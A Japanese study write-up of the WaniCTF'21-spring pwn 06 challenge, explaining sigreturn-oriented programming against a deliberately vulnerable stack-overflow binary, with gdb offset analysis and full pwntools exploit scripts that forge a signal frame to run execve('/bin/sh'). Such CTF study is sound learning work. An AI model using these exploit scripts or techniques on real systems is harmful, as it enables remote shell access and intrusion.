WaniCTF'21-spring pwn 06 srop を勉強した記録


WaniCTF'21-spring pwn 06 srop

srop の意味は SigReturn Oriented Programming だな。
これ勉強する前は Super ROP かと思ってたよ。

問題

nc srop.pwn.wanictf.org 9006
sigreturnを用いたROPでシェルを実行してください。
sigreturnを使うとスタックの値でレジスタを書き換えることができます。
ヒント
https://elixir.bootlin.com/linux/latest/source/arch/x86/include/uapi/asm/sigcontext.h#L325
https://docs.pwntools.com/en/latest/rop/srop.html

配布データ

pwn06
pwn06.c
pwn06.c
#include <stdio.h>
#include <unistd.h>

void call_syscall() { __asm__("syscall; ret;"); }

void set_rax() { __asm__("mov $0xf, %rax; ret;"); }

int main() {
  char buff[50];
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
  setbuf(stderr, NULL);
  printf("buff : %p\nCan you get the shell?\n", buff);
  read(0, buff, 0x200);
  return 0;
}

短いな。

動かしてみると

# ./pwn06
buff : 0x7ffdab31aa60
Can you get the shell?

とbuff[50]のアドレスのリークがある

sigreturnが全然わからんのんで,solver.py を追う

solver.py
from pwn import *

set_rax = p64(0x40118c)
syscall = p64(0x40117e)

#pc = process("./chall")
pc = connect('localhost',9101)
buff=pc.recvuntil('\n')[7:-1]
buff=int(buff,16)
print('@buff : '+hex(buff))


payload = b"/bin/sh\x00"
payload+= b'A'*64
payload+=set_rax
payload+=syscall

payload+=p64(0)*5 #user_context

payload+=p64(0)*8 #r8~r15
payload+=p64(buff)#rdi
payload+=p64(0)
payload+=p64(0)
payload+=p64(0)
payload+=p64(0)
payload+=p64(0x3b)#rax
payload+=p64(0)
payload+=p64(0)
payload+=syscall #eip
payload+=p64(0) #eflags
payload+=p64(0x33) #cs
payload+=p64(0) #gs
payload+=p64(0) #fs
payload+=p64(0) #ss
payload+=p64(0)*7

print(pc.recvuntil('\n'))
pc.send(payload)
pc.interactive()

set_rax = p64(0x40118c)

  40118c:       48 c7 c0 0f 00 00 00    mov    rax,0xf
  401193:       c3                      ret    

syscall = p64(0x40117e)

  40117e:       0f 05                   syscall 
  401180:       c3                      ret

payload = b"/bin/sh\x00"
payload+= b'A'*64
payload+=set_rax
payload+=syscall

rt_sigreturn()

payload+=p64(0)*5 #user_context

payload+=p64(0)*8 #r8~r15
payload+=p64(buff)#rdi
payload+=p64(0)
payload+=p64(0)
payload+=p64(0)
payload+=p64(0)
payload+=p64(0x3b)#rax
payload+=p64(0)
payload+=p64(0)
payload+=syscall #eip
payload+=p64(0) #eflags
payload+=p64(0x33) #cs
payload+=p64(0) #gs
payload+=p64(0) #fs
payload+=p64(0) #ss
payload+=p64(0)*7

以上は全部 スタック 2 レジスタ

bof

char buff[50]は,実際には 0x10の倍数で割り当てられるので,
char buff[64]と同じこと。

"A"の数は buff の 64 と push ebp の 8 で, 8*9 と予想できる。

b main で止まった状態

[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe458 --> 0x7ffff7a03bf7 (<__libc_start_main+231>:   mov    edi,eax)

0x7ffff7a03bf7 が main関数 のリターンアドレス

ローカル変数 char buff[50]; の割り当て

   0x40119f <main+8>:   sub    rsp,0x40
=> 0x4011a3 <main+12>:

RSP: 0x7fffffffe410 --> 0xc2 

スタック 0x7fffffffe410 が buff のアドレス

"A"の数
"A" * 8 * 9
予想通りだ。

計画書

b"/bin/sh\x00"を書き込む場所も必要なので,
"A" * 8 * 9とするところを

payload = b"/bin/sh\x00"
payload+= b'A'*8*8

とする

b"/bin/sh\x00"のアドレスは,問題側でリークしてくれているので,拾う

syscall 0xf (15) rt_sigreturn() でスタックをレジスタに書き込むのだが,
書き込む内容は,
syscall 0x3b (59) execve(”/bun/sh”,null,null)
であるが,syscallをRIPに置く必要がある

レジスタ
RDI "/bin/sh"のアドレス
RSI 0x0
RDX 0x0
RAX 0x3b (59 execve)
RIP syscall

攻撃コード

pwn06.py
# coding: UTF-8

# WaniCTF'21-spring pwn 06 srop
# https://github.com/wani-hackase/wanictf21spring-writeup/tree/main/pwn/06-srop

from pwn import *
import pwn 

#io = pwn.remote("srop.pwn.wanictf.org", 9006)
io = pwn.process("./pwn06")

# rt_sigreturn() で使う rop部品
set_rax = p64(0x40118c) # mov rax, 0xf ; ret
syscall = p64(0x40117e) # syscall ; ret

# leak
buff=io.recvuntil('\n')[7:-1]
buff=int(buff,16)
print('@buff : '+hex(buff))

# buffの先頭はそのまま/bin/shの置き場にさせてもらう
payload = b"/bin/sh\x00"
payload+= b'A'*8*8

# rt_sigreturn
payload+=set_rax # mov rax, 0xf ; ret
payload+=syscall # syscall ; ret

# ここから下はレジスタに入る順番で

payload+=p64(0)*5 #user_context

payload+=p64(0)*8 #r8~r15
payload+=p64(buff)#rdi
payload+=p64(0)
payload+=p64(0)
payload+=p64(0)
payload+=p64(0)
payload+=p64(0x3b)#rax
payload+=p64(0)
payload+=p64(0)
payload+=syscall #rip
payload+=p64(0) #eflags
payload+=p64(0x33) #cs
payload+=p64(0) #gs
payload+=p64(0) #fs
payload+=p64(0) #ss
payload+=p64(0)*7

print(io.recvuntil('\n'))
io.send(payload)
io.interactive()

わかりやすい説明が出来た気がする。(自画自賛)
cs 0x33 って何だ?